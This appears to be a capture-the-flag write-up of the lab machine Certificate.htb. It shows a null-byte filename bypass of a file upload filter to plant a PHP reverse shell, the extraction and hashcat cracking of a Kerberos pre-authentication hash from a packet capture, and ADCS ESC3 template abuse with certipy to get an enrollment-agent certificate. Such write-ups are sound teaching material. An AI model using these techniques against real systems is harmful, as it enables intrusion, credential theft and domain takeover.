Certificate.htb

From a null-byte upload to SYSTEM. Pivoted through users by abusing ADCS, then leveraged SeManageVolume and SeImpersonate privileges to dump the final admin hash.

CTF
Windows
Privilege Esclation
Banner image

Lessons Learned from Certificate

This box was a fun dive into Active Directory Certificate Services (AD CS) and Kerberos exploits. Here's what we learned:

  1. Sneaky File Upload: Used a null-byte (%00) in a filename to dodge file extension filters, uploading a malicious script for a reverse shell.
  2. Sniffing Credentials: Dug into a .pcap file to spot a weak Kerberos AS-REP packet, cracked the hash offline, and nabbed a user account.
  3. AD CS Exploit (ESC3): Found a misconfigured certificate template that let us act as a "Certificate Request Agent," allowing us to issue certs for others.
  4. Golden Certificate Trick: Pulled off a "golden certificate" attack—grabbed an agent cert, forged one for a Domain Admin, and took over the domain.

NMAP

code
1 2PORT STATE SERVICE REASON VERSION 353/tcp open domain syn-ack Simple DNS Plus 480/tcp open http syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30) 5|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 6| http-methods: 7|_ Supported Methods: GET HEAD POST OPTIONS 8|_http-title: Did not follow redirect to http://certificate.htb/ 988/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-10-11 10:39:47Z) 10135/tcp open msrpc syn-ack Microsoft Windows RPC 11139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 12389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name) 13|_ssl-date: 2025-10-11T10:41:24+00:00; +8h00m00s from scanner time. 14| ssl-cert: Subject: commonName=DC01.certificate.htb 15| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb 16| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate 17| Public Key type: rsa 18| Public Key bits: 2048 19| Signature Algorithm: sha256WithRSAEncryption 20| Not valid before: 2025-10-11T08:07:35 21| Not valid after: 2026-10-11T08:07:35 22| MD5: 3ed4 2bbd 4f9a 1a6c 626f d01a 6ef2 5701 23| SHA-1: a007 a62e 0aaf 52ff cd67 1359 1b88 8115 de3d bd0a 24| SHA-256: 98dd 9a09 07b8 4291 00f5 f272 32cb 5b8e 2190 2dac 6121 7c83 064b 297a a452 eb57 25| -----BEGIN CERTIFICATE----- 26| MIIGTDCCBTSgAwIBAgITWAAAAB+xnsDDuZZtbAAAAAAAHzANBgkqhkiG9w0BAQsF 27| 28|_-----END CERTIFICATE----- 29445/tcp open microsoft-ds? syn-ack 30464/tcp open kpasswd5? syn-ack 31593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 32636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name) 33| ssl-cert: Subject: commonName=DC01.certificate.htb 34| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb 35| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate 36| Public Key type: rsa 37| Public Key bits: 2048 38| Signature Algorithm: sha256WithRSAEncryption 39| Not valid before: 2025-10-11T08:07:35 40| Not valid after: 2026-10-11T08:07:35 41| MD5: 3ed4 2bbd 4f9a 1a6c 626f d01a 6ef2 5701 42| SHA-1: a007 a62e 0aaf 52ff cd67 1359 1b88 8115 de3d bd0a 43| SHA-256: 98dd 9a09 07b8 4291 00f5 f272 32cb 5b8e 2190 2dac 6121 7c83 064b 297a a452 eb57 44| -----BEGIN CERTIFICATE----- 45| 46| Y2F0ZT9AaM1/uUoRDvzjQJyAeGmHKM9nllM05J1 47| TXsK9Ieip+JYcMOVpLiML2yCGt0SkuCYk9OvaDnVTOk= 48|_-----END CERTIFICATE----- 49|_ssl-date: 2025-10-11T10:41:23+00:00; +8h00m00s from scanner time. 503268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name) 51|_ssl-date: 2025-10-11T10:41:24+00:00; +8h00m00s from scanner time. 52| ssl-cert: Subject: commonName=DC01.certificate.htb 53| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb 54| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate 55| Public Key type: rsa 56| Public Key bits: 2048 57| Signature Algorithm: sha256WithRSAEncryption 58| Not valid before: 2025-10-11T08:07:35 59| Not valid after: 2026-10-11T08:07:35 60| MD5: 3ed4 2bbd 4f9a 1a6c 626f d01a 6ef2 5701 61| SHA-1: a007 a62e 0aaf 52ff cd67 1359 1b88 8115 de3d bd0a 62| SHA-256: 98dd 9a09 07b8 4291 00f5 f272 32cb 5b8e 2190 2dac 6121 7c83 064b 297a a452 eb57 63| -----BEGIN CERTIFICATE----- 64| MIIGTDCCBTSgAwIBAgITWAAAAB+xnsDDuZZtbAAAAAAAHzANBgkqhkiG9w0BAQsF 65|_-----END CERTIFICATE----- 663269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name) 67|_ssl-date: 2025-10-11T10:41:23+00:00; +8h00m00s from scanner time. 68| ssl-cert: Subject: commonName=DC01.certificate.htb 69| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb 70| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate 71| Public Key type: rsa 72| Public Key bits: 2048 73| Signature Algorithm: sha256WithRSAEncryption 74| Not valid before: 2025-10-11T08:07:35 75| Not valid after: 2026-10-11T08:07:35 76| MD5: 3ed4 2bbd 4f9a 1a6c 626f d01a 6ef2 5701 77| SHA-1: a007 a62e 0aaf 52ff cd67 1359 1b88 8115 de3d bd0a 78| SHA-256: 98dd 9a09 07b8 4291 00f5 f272 32cb 5b8e 2190 2dac 6121 7c83 064b 297a a452 eb57 79| -----BEGIN CERTIFICATE----- 80| MIIGTDCCBTSgAwIBAgITWAAAAB+xnsDDuZZtbAAAAAAAHzANBgkqhkiG9w0BAQsF 81|_-----END CERTIFICATE----- 825985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 83|_http-server-header: Microsoft-HTTPAPI/2.0 84|_http-title: Not Found 859389/tcp open mc-nmf syn-ack .NET Message Framing 8649666/tcp open msrpc syn-ack Microsoft Windows RPC 8749691/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 8849692/tcp open msrpc syn-ack Microsoft Windows RPC 8949693/tcp open msrpc syn-ack Microsoft Windows RPC 9049712/tcp open msrpc syn-ack Microsoft Windows RPC 9149722/tcp open msrpc syn-ack Microsoft Windows RPC 9249753/tcp open msrpc syn-ack Microsoft Windows RPC 93Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows 94 95Host script results: 96| smb2-time: 97| date: 2025-10-11T10:40:43 98|_ start_date: N/A 99| p2p-conficker: 100| Checking for Conficker.C or higher... 101| Check 1 (port 50770/tcp): CLEAN (Timeout) 102| Check 2 (port 60669/tcp): CLEAN (Timeout) 103| Check 3 (port 43669/udp): CLEAN (Timeout) 104| Check 4 (port 53401/udp): CLEAN (Timeout) 105|_ 0/4 checks are positive: Host is CLEAN or ports are blocked 106| smb2-security-mode: 107| 3.1.1: 108|_ Message signing enabled and required 109|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s 110

HTTP 80

as we can see, it host a website. that offer Certification or e-learn platform

The website allows login and registration. On the login page, I tried to enumerate usernames but didn’t get any results. However, I was able to find usernames from the blog section: Mark Wiens, Ben Frank, and Carol Wood.

After creating an account, there are courses I can subscribe to and upload files for, the instructor will review those uploads. If we can inject something into an uploaded file (PDF or inside a ZIP), could that lead to cookie theft or code execution? I tried registering an account using an enumerated username and it was created without validation errors.

Note: stealing cookies via JavaScript won't work if the session cookie is HttpOnly: true, because such cookies are not accessible to client-side scripts.

When I upload a file, the site performs some form of checking.

Exploit file upload (initial access)

i think here we have multiple way to exploit the file upload, like phishing attack. but in this example we will use the Null-bytes injection.

How ZIP file work?

At its core, a ZIP file functions by compressing individual files and then bundling them together. When a file is added to a ZIP archive, it use a compression process (using DEFLATE method). This process identifies and removes redundant data, resulting in a smaller file size without any loss of original data.

ZIP File Structure

A ZIP file is structured as a sequence of entries, each one corresponding to a file or directory within the archive. The overall structure can be as follows:

  • Local File Headers: Each file within the archive has a local file header that precedes its compressed data.
    • Signature 0x04034b50 (4 bytes)
    • Version needed (2)
    • ....
    • File name length (2)
    • Extra field length (2)
    • File name (variable, exactly file name length bytes)
    • Extra field (variable)
  • File Data: The actual compressed (or stored) data for each file.
  • Data Descriptors (Optional): If the size of the compressed data is not known at the time the local file header is written, a data descriptor follows the file data.
  • Central Directory: A central directory located at the end of the ZIP file contains a comprehensive list of all files and directories in the archive, along with their metadata and pointers to their respective local file headers. This allows for quick traversal of the archive without reading every local header.
  • End of Central Directory Record (EOCD): This record marks the end of the central directory and the end of the ZIP file itself. It contains information about the central directory, such as its starting offset and total number of entries.

Back to the attack: I added _ as a placeholder. I opened a hex editor and changed the _ byte (0x5F) to 0x00. I updated that byte in the local file header (near the file data) and in the central directory entry at the end — both must be changed to 0x00.

i used this script:blue0x1_shell.phpblue0x1/windows-linux-php-reverse-shell​

After the upload, we got a shell. Here’s how it worked, when PHP reads the filename, it does not treat the 0x00 null byte as a terminator it simply ignores it. As a result, the filename becomes shell.php.pdf, which passes the PDF extension check. However, when the operating system accesses the file, it uses C-style string handling, where the null byte marks the end of the string. This makes the OS interpret the filename as shell.php. and this how we were able to bypass the check violation.

Example:

f i l e . p h p \0 . p d f

  • A C-style routine (used by the OS) reads up to the null byte (\0) and sees:
    file.php
  • A raw-bytes viewer or PHP parser (which ignores null bytes) sees the full sequence:
    file.php\0.pdf — some interfaces might display it as file.php.pdf or file.php..pdf.

This is why the file passes the PDF check but is executed as shell.php by the system.

Later Movement 1

First, I want to enumerate the database. I’m certain that a database exists since we have login,register etc, so let’s check which other users are present.

so from the path C:\\xampp so we can go to mySql.exe binary in C:\xampp\mysql\bin

We could try cracking every account, but that’s pointless it only gives web access. Lorra and Sara use email addresses on the target domain if we obtain one of their passwords, we might be able to access a machine or LDAP. The query I ran returns all enabled Active Directory users, and Sara appears in that list.

after getting the hash from the database let's use hascat. after getting the password we can get shell using evail-winrm

Lateral Movement 2

The first thing I did after getting shell access was to look through the directories. Sure enough, I found an interesting one named WS_01 that contained a pcap file and a description note.

The note mentioned reports located on an SMB share hosted in dc01. It also pointed out that the file explorer freezes when a user enters valid credentials. Based on this, I decided to download the pcap file to my local machine.

Network analysis

okay, we have a lot of captured traffic, so we know from the note that the user is using SMB, so let's filter the traffic to show only SMB traffic.

To understand what's happening with the SMB traffic, we need to look at a few related protocols TCP, SMB, NTLM, and Kerberos. I'll focus only on the parts relevant to this attack. For a deeper dive into how these protocols work, there are tons of prefect blog posts online.

TCP

The TCP three-way handshake is the process used to establish a reliable connection between a client and server. It ensures both sides agree on initial sequence numbers and that the connection is ready to send data.

  1. SYN The client sends a TCP packet with the SYN flag set and an initial sequence number (ISN). This means “I want to start a connection, and my sequence number is X.”
  2. SYN-ACK The server replies with SYN and ACK flags set.
    • The SYN means “I also want to start a connection, my sequence number is Y.”
    • The ACK acknowledges the client’s SYN using ack = X + 1.
  3. ACK The client sends a final packet with the ACK flag set and ack = Y + 1. Now both sides have synchronized sequence numbers, and the connection is established.

Flags:

SYN (Synchronize): Starts a connection.

ACK (Acknowledgment): Confirms receipt of a packet.

FIN (Finish): Ends a connection gracefully.

RST (Reset): Abruptly terminates a connection due to an error.

PSH (Push): Tells the receiver to process the data immediately.

URG (Urgent): Marks data as urgent (rarely used).

ECE (ECN-Echo): The receiver signals that it has detected network congestion.

CWR (Congestion Window Reduced): The sender confirms it has slowed down in response to congestion

SMB

An SMB connection starts with a Negotiate Protocol exchange, where the client and server agree on which version of the SMB protocol to use.

Next is the Session Setup, where the client authenticates itself, typically using NTLM or Kerberos. If authentication is successful, the server grants a session.With an authenticated session, the client sends a

Tree Connect request to access a specific network share, like \\Server\Share. The server responds, granting access to that share.Once connected to the share, the client can perform various File Operations, such as creating, reading, writing, or deleting files.

Each of these actions is a distinct command. Common status codes indicate the outcome of these operations, such as STATUS_SUCCESS for success, STATUS_ACCESS_DENIED for permission issues, or STATUS_LOGON_FAILURE if authentication fails.Finally, when the client is finished, it sends Tree Disconnect and Logoff requests to properly close the share connection and end the session.

NTLM

NTLM authentication is a three-step process.

First, the client sends a NEGOTIATE message to the server, announcing its intent to authenticate with NTLM and listing its capabilities.

Second, the server replies with a CHALLENGE message, which contains a random, one-time value (a nonce). This essentially tells the client, "Prove you have the password by correctly encrypting this challenge."

Finally, the client sends an AUTHENTICATE message back. This message contains the server's challenge, now encrypted with the user's password hash, along with the username and domain. The server verifies this response, and if it's correct, authentication succeeds.

Kerberos

general explanation of the key Kerberos components, focusing on the initial authentication step.Kerberos authentication involves three main players:

  1. The Client: A user or computer that wants to access something on the network.
  2. The Service: The server or application the client wants to access (like a file share).
  3. The Key Distribution Center (KDC): This is the trusted central authority for the entire domain. It acts like a security office and has two primary duties:
    • Authentication Server (AS): This is the front desk of the security office. Its only job is to handle the very first step: verifying a user's identity when they log in. When a client wants to authenticate, it sends an AS-REQ (Authentication Server Request) to the AS. The AS then validates the user and sends back an AS-REP (Authentication Server Reply), which contains a special encrypted ticket.
    • Ticket-Granting Server (TGS): Once a user has been initially authenticated by the AS, the TGS takes over. It issues specific tickets for all the different services the user wants to access later.

For the initial login, the most critical part of the exchange is the conversation between the Client and the Authentication Server (AS). The client sends a request (AS-REQ), and the AS sends back a reply (AS-REP) which called pre-auth. This reply contains data that is encrypted using a key derived from the user's own password. Only the correct user, who knows their password, should be able to use this reply.

Looking at the packet capture, we can see the communication starts with a standard TCP three-way handshake. Once the connection is established, the SMB protocol negotiation begins, and both sides agree to use NTLM for authentication and smb version 2. The process fails at the final step, however, with the server returning a STATUS_LOGON_FAILURE error, which indicates the user provided an invalid password.

Scrolling further down in the capture, I found a packet where the client requests access to the \\DC01\Reports share. To see the full conversation from the beginning, I right-clicked on that packet and selected 'Follow > TCP Stream'.

The authentication method switched from NTLM to Kerberos for this connection. The Session Setup Response in packet 1007 confirms this. The GSS-API payload within the SMB2 packet explicitly identifies the supportedMech as MS KRB5, indicating a successful Kerberos authentication took place.

Now, let's switch the display filter to kerberos to isolate and examine only the Kerberos packets.

Here’s what’s happening in simple terms:

  1. Initial Login Attempt (Packets 887-922): The client first asks the domain controller (KDC) for a master ticket (TGT). The KDC initially responds with a "pre-authentication required" error, forcing the client to prove its identity. The client then sends a new request with this proof, and the KDC replies with the TGT, confirming a successful login.
  2. Requesting Access to the File Share (Packets 947-954): With its master ticket (TGT) in hand, the client goes back to the KDC and asks for a specific ticket to access the file server (CIFS/SMB service). The KDC validates the request and sends back a service ticket.
  3. Final Connection to the Server (Packets 1001-1007): Finally, the client presents this service ticket to the file server inside an SMB Session Setup Request. The server validates the ticket and grants access, completing the authentication process.

So, how do we get the password from this? It all comes down to the per-authentication data in the second AS-REQ. The client proves its identity by sending an encrypted timestamp. For AES encryption (etype 18), that timestamp is encrypted with a key made from the user's password, salted with their username and the domain name (realm). We have the final encrypted data right here in the packet. Since we also know the salt (username and realm), we can feed this information into Hashcat.

we need to extract four key pieces of information from the Kerberos packets:

  1. The Username: We can find this in the main body of the AS-REQ packet. In this case, it's Lion.SK.
  2. The Realm (Domain): This is also found in the Kerberos packet details, specifying the target domain.
  3. The Encryption Type: The image shows this is etype 18 , which tells Hashcat what kind of hash it is.
  4. The Ciphertext: This is the encrypted data itself, which is the long hexadecimal string labeled cipher within the pre-authentication data.

after getting all this info we need to format the information in this format:

$krb5pa$<etype>$<username>$<relam>$<cihper>

then save in file.

Hashcat takes a password from your wordlist and uses it to create a potential encryption key.

It then uses this key to try and decrypt the captured Kerberos data. If the decrypted data is valid (which it verifies with a checksum), Hashcat knows it has found the correct password. If not, it discards that password and immediately tries the next one from the list.

hashcat -m 19900 kerberos_hash.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt

Lateral Movement 3

My first step was to enumerate the user's permissions, looking at group memberships and directories. I immediately noticed they were part of an interesting custom group: CERTIFICATE\Domain CRA Managers.

A group with this name likely has permissions related to the Certificate Authority, such as managing, approving, or issuing certificates.

cmd 3
1*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> whoami /all 2 3USER INFORMATION 4---------------- 5 6User Name SID 7=================== ============================================= 8certificate\lion.sk S-1-5-21-515537669-4223687196-3249690583-1115 9 10 11GROUP INFORMATION 12----------------- 13 14Group Name Type SID Attributes 15========================================== ================ ============================================= ================================================== 16Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group 17BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group 18BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group 19BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group 20BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group 21NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group 22NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group 23NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group 24CERTIFICATE\Domain CRA Managers Group S-1-5-21-515537669-4223687196-3249690583-1104 Mandatory group, Enabled by default, Enabled group 25NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group 26Mandatory Label\Medium Mandatory Level Label S-1-16-8192 27 28 29PRIVILEGES INFORMATION 30---------------------- 31 32Privilege Name Description State 33============================= ============================== ======= 34SeMachineAccountPrivilege Add workstations to domain Enabled 35SeChangeNotifyPrivilege Bypass traverse checking Enabled 36SeIncreaseWorkingSetPrivilege Increase a process working set Enabled 37 38 39USER CLAIMS INFORMATION 40----------------------- 41 42User claims unknown.

let’s query the group information. and we can see the description which is for managing certificates

query info
1*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> Get-ADGroup -Identity "Domain CRA Managers" -Properties * 2 3 4CanonicalName : certificate.htb/Users/Domain CRA Managers 5CN : Domain CRA Managers 6Created : 11/3/2024 3:36:52 PM 7createTimeStamp : 11/3/2024 3:36:52 PM 8Deleted : 9Description : The members of this security group are responsible for issuing and revoking multiple certificates for the domain users 10DisplayName : 11DistinguishedName : CN=Domain CRA Managers,CN=Users,DC=certificate,DC=htb 12dSCorePropagationData : {12/31/1600 4:00:00 PM} 13GroupCategory : Security 14GroupScope : Global 15groupType : -2147483646 16HomePage : 17instanceType : 4 18isDeleted : 19LastKnownParent : 20ManagedBy : 21member : {CN=Alex Disel,CN=Users,DC=certificate,DC=htb, CN=Eva,CN=Users,DC=certificate,DC=htb, CN=Lion,CN=Users,DC=certificate,DC=htb} 22MemberOf : {} 23Members : {CN=Alex Disel,CN=Users,DC=certificate,DC=htb, CN=Eva,CN=Users,DC=certificate,DC=htb, CN=Lion,CN=Users,DC=certificate,DC=htb} 24Modified : 11/23/2024 6:30:08 PM 25modifyTimeStamp : 11/23/2024 6:30:08 PM 26Name : Domain CRA Managers 27nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity 28ObjectCategory : CN=Group,CN=Schema,CN=Configuration,DC=certificate,DC=htb 29ObjectClass : group 30ObjectGUID : bb4885fc-3fbf-49fa-910d-dbce749e859f 31objectSid : S-1-5-21-515537669-4223687196-3249690583-1104 32ProtectedFromAccidentalDeletion : False 33SamAccountName : Domain CRA Managers 34sAMAccountType : 268435456 35sDRightsEffective : 0 36SID : S-1-5-21-515537669-4223687196-3249690583-1104 37SIDHistory : {} 38uSNChanged : 32947 39uSNCreated : 24676 40whenChanged : 11/23/2024 6:30:08 PM 41whenCreated : 11/3/2024 3:36:52 PM

Putting the pieces together, it was time to look at the Certificate Authority with certutil. I remembered an earlier Nmap scan that identified a certificate issuer named Certificate-LTD-CA. To see if this was related, I ran certutil on the compromised host, and sure enough, it listed a configured CA: DC01.certificate.htb\Certificate-LTD-CA. The names matched perfectly, confirming the CA is hosted on the domain controller.

certutil
1*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> certutil 2Entry 0: (Local) 3 Name: "Certificate-LTD-CA" 4 Organizational Unit: "" 5 Organization: "" 6 Locality: "" 7 State: "" 8 Country/region: "" 9 Config: "DC01.certificate.htb\Certificate-LTD-CA" 10 Exchange Certificate: "" 11 Signature Certificate: "DC01.certificate.htb_Certificate-LTD-CA.crt" 12 Description: "" 13 Server: "DC01.certificate.htb" 14 Authority: "Certificate-LTD-CA" 15 Sanitized Name: "Certificate-LTD-CA" 16 Short Name: "Certificate-LTD-CA" 17 Sanitized Short Name: "Certificate-LTD-CA" 18 Flags: "13" 19 Web Enrollment Servers: ""

Since our user has permissions to manage certificates, the next logical step is to request one. To do this in an Active Directory environment, we first need to understand the role of certificate templates.

What are Certificate Templates?

In Active Directory Certificate Services (AD CS), a certificate template is a blueprint or a set of pre-defined rules that determines the properties of a certificate when it's issued.Think of it like a form you have to fill out. The template dictates:

  • Who can request it: Which users or groups are allowed to get this type of certificate.
  • What it can be used for: The template specifies the certificate's purpose, such as client authentication, code signing, or encrypting files.
  • What information it contains: It defines fields like the subject name and other critical extensions.
  • Security settings: It controls how the private key is handled and the level of security required.

I enumerated the AD CS templates by running certutil -v -template > cert_templates.txt via Evil-WinRM. I then exfiltrated the resulting cert_templates.txt file for local inspection.

I saw a vulnerable template named Delegated-CRA. Its Extended Key Usage (EKU) is configured for 'Certificate Request Agent', enabling enrollment on behalf of other principals. The template's ACL grants enrollment permissions to the CERTIFICATE\Domain CRA Managers group, which our user belongs to. This provides a direct path to impersonation via certificate requests.

template
1 2Template[8]: 3 TemplatePropCommonName = Delegated-CRA 4 TemplatePropFriendlyName = Delegated-CRA 5 TemplatePropEKUs = 61 ObjectIds: 7 1.3.6.1.4.1.311.20.2.1 Certificate Request Agent 8 9 TemplatePropCryptoProviders = 10 0: Microsoft Enhanced Cryptographic Provider v1.0 11 1: Microsoft Base Cryptographic Provider v1.0 12 13 TemplatePropMajorRevision = 64 (100) 14 TemplatePropDescription = User 15 TemplatePropSchemaVersion = 2 16 TemplatePropMinorRevision = 3 17 TemplatePropRASignatureCount = 0 18 TemplatePropMinimumKeySize = 800 (2048) 19 TemplatePropOID = 20 1.3.6.1.4.1.311.21.8.6241115.2525246.7816106.12111513.14364381.106.1262911.14645902 Delegated-CRA 21 22 TemplatePropV1ApplicationPolicy = 231 ObjectIds: 24 1.3.6.1.4.1.311.20.2.1 Certificate Request Agent 25 26 TemplatePropEnrollmentFlags = 29 (41) 27 CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1 28 CT_FLAG_PUBLISH_TO_DS -- 8 29 CT_FLAG_AUTO_ENROLLMENT -- 20 (32) 30 31 TemplatePropSubjectNameFlags = a6000000 (-1509949440) 32 CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432) 33 CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL -- 4000000 (67108864) 34 CT_FLAG_SUBJECT_REQUIRE_EMAIL -- 20000000 (536870912) 35 CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648) 36 37 TemplatePropPrivateKeyFlags = 1010010 (16842768) 38 CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16) 39 CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0 40 TEMPLATE_SERVER_VER_2003<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 10000 (65536) 41 TEMPLATE_CLIENT_VER_XP<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 1000000 (16777216) 42 43 TemplatePropGeneralFlags = 2023a (131642) 44 CT_FLAG_ADD_EMAIL -- 2 45 CT_FLAG_PUBLISH_TO_DS -- 8 46 CT_FLAG_EXPORTABLE_KEY -- 10 (16) 47 CT_FLAG_AUTO_ENROLLMENT -- 20 (32) 48 CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512) 49 CT_FLAG_IS_MODIFIED -- 20000 (131072) 50 51 TemplatePropSecurityDescriptor = O:LAG:S-1-5-21-515537669-4223687196-3249690583-519D:PAI(OA;;CR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-515537669-4223687196-3249690583-1104)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-515537669-4223687196-3249690583-519)(A;;LCRPRC;;;S-1-5-21-515537669-4223687196-3249690583-1104)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-515537669-4223687196-3249690583-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;LA)(A;;LCRPLORC;;;AU) 52 53 Allow Enroll CERTIFICATE\Domain CRA Managers 54 Allow Enroll CERTIFICATE\Domain Admins 55 Allow Enroll CERTIFICATE\Enterprise Admins 56 Allow Read CERTIFICATE\Domain CRA Managers 57 Allow Full Control CERTIFICATE\Domain Admins 58 Allow Full Control CERTIFICATE\Enterprise Admins 59 Allow Full Control CERTIFICATE\Administrator 60 Allow Read NT AUTHORITY\Authenticated Users 61 62 63 TemplatePropExtensions = 644 Extensions: 65 66 Extension[0]: 67 1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2f 68 Certificate Template Information 69 Template=Delegated-CRA(1.3.6.1.4.1.311.21.8.6241115.2525246.7816106.12111513.14364381.106.1262911.14645902) 70 Major Version Number=100 71 Minor Version Number=3 72 73 Extension[1]: 74 2.5.29.37: Flags = 0, Length = e 75 Enhanced Key Usage 76 Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) 77 78 Extension[2]: 79 2.5.29.15: Flags = 1(Critical), Length = 4 80 Key Usage 81 Digital Signature, Key Encipherment (a0) 82 83 Extension[3]: 84 1.3.6.1.4.1.311.21.10: Flags = 0, Length = 10 85 Application Policies 86 [1]Application Certificate Policy: 87 Policy Identifier=Certificate Request Agent 88 89 TemplatePropValidityPeriod = 1 Years 90 TemplatePropRenewalPeriod = 6 Weeks

The strategy is to first use the Delegated-CRA template to obtain a Certificate Request Agent certificate. Subsequently, we will leverage this certificate to perform an 'on-behalf-of' enrollment request for a domain administrator's certificate.

To successfully perform the 'on-behalf-of' enrollment, the target template must have the 'Client Authentication' EKU and be accessible to the user we are impersonating. My analysis of the exported templates revealed that the SignedUser template satisfies both conditions, making it the ideal choice for requesting a user certificate for the administrator.

templates
1 2 Template[26]: 3 TemplatePropCommonName = SignedUser 4 TemplatePropFriendlyName = Signed User 5 TemplatePropEKUs = 63 ObjectIds: 7 1.3.6.1.5.5.7.3.2 Client Authentication 8 1.3.6.1.5.5.7.3.4 Secure Email 9 1.3.6.1.4.1.311.10.3.4 Encrypting File System 10 11 TemplatePropCryptoProviders = 12 0: Microsoft Enhanced Cryptographic Provider v1.0 13 1: Microsoft Base Cryptographic Provider v1.0 14 15 TemplatePropMajorRevision = 64 (100) 16 TemplatePropDescription = User 17 TemplatePropSchemaVersion = 2 18 TemplatePropMinorRevision = 3 19 TemplatePropRASignatureCount = 1 20 TemplatePropMinimumKeySize = 800 (2048) 21 TemplatePropOID = 22 1.3.6.1.4.1.311.21.8.6241115.2525246.7816106.12111513.14364381.106.13132143.13082110 Signed User 23 24 TemplatePropRAEKUs = 251 ObjectIds: 26 1.3.6.1.4.1.311.20.2.1 Certificate Request Agent 27 28 TemplatePropV1ApplicationPolicy = 293 ObjectIds: 30 1.3.6.1.5.5.7.3.2 Client Authentication 31 1.3.6.1.5.5.7.3.4 Secure Email 32 1.3.6.1.4.1.311.10.3.4 Encrypting File System 33 34 35 Allow Enroll CERTIFICATE\Domain Admins 36 Allow Enroll CERTIFICATE\Domain Users 37 Allow Enroll CERTIFICATE\Enterprise Admins 38 Allow Full Control CERTIFICATE\Domain Admins 39 Allow Full Control CERTIFICATE\Enterprise Admins 40 Allow Full Control CERTIFICATE\Administrator 41 Allow Read NT AUTHORITY\Authenticated Users 42 43 44 TemplatePropExtensions = 454 Extensions: 46 47 Extension[0]: 48 1.3.6.1.4.1.311.21.7: Flags = 0, Length = 30 49 Certificate Template Information 50 Template=Signed User(1.3.6.1.4.1.311.21.8.6241115.2525246.7816106.12111513.14364381.106.13132143.13082110) 51 Major Version Number=100 52 Minor Version Number=3 53 54 Extension[1]: 55 2.5.29.37: Flags = 0, Length = 22 56 Enhanced Key Usage 57 Client Authentication (1.3.6.1.5.5.7.3.2) 58 Secure Email (1.3.6.1.5.5.7.3.4) 59 Encrypting File System (1.3.6.1.4.1.311.10.3.4) 60 61 Extension[2]: 62 2.5.29.15: Flags = 1(Critical), Length = 4 63 Key Usage 64 Digital Signature, Key Encipherment (a0) 65 66 Extension[3]: 67 1.3.6.1.4.1.311.21.10: Flags = 0, Length = 28 68 Application Policies 69 [1]Application Certificate Policy: 70 Policy Identifier=Client Authentication 71 [2]Application Certificate Policy: 72 Policy Identifier=Secure Email 73 [3]Application Certificate Policy: 74 Policy Identifier=Encrypting File System 75

I proceeded with the initial enrollment using certipy, targeting the Delegated-CRA template with the compromised user's credentials.

The tool successfully obtained the certificate via RPC and saved the resulting certificate and private key pair into the file lion.sk.pfx

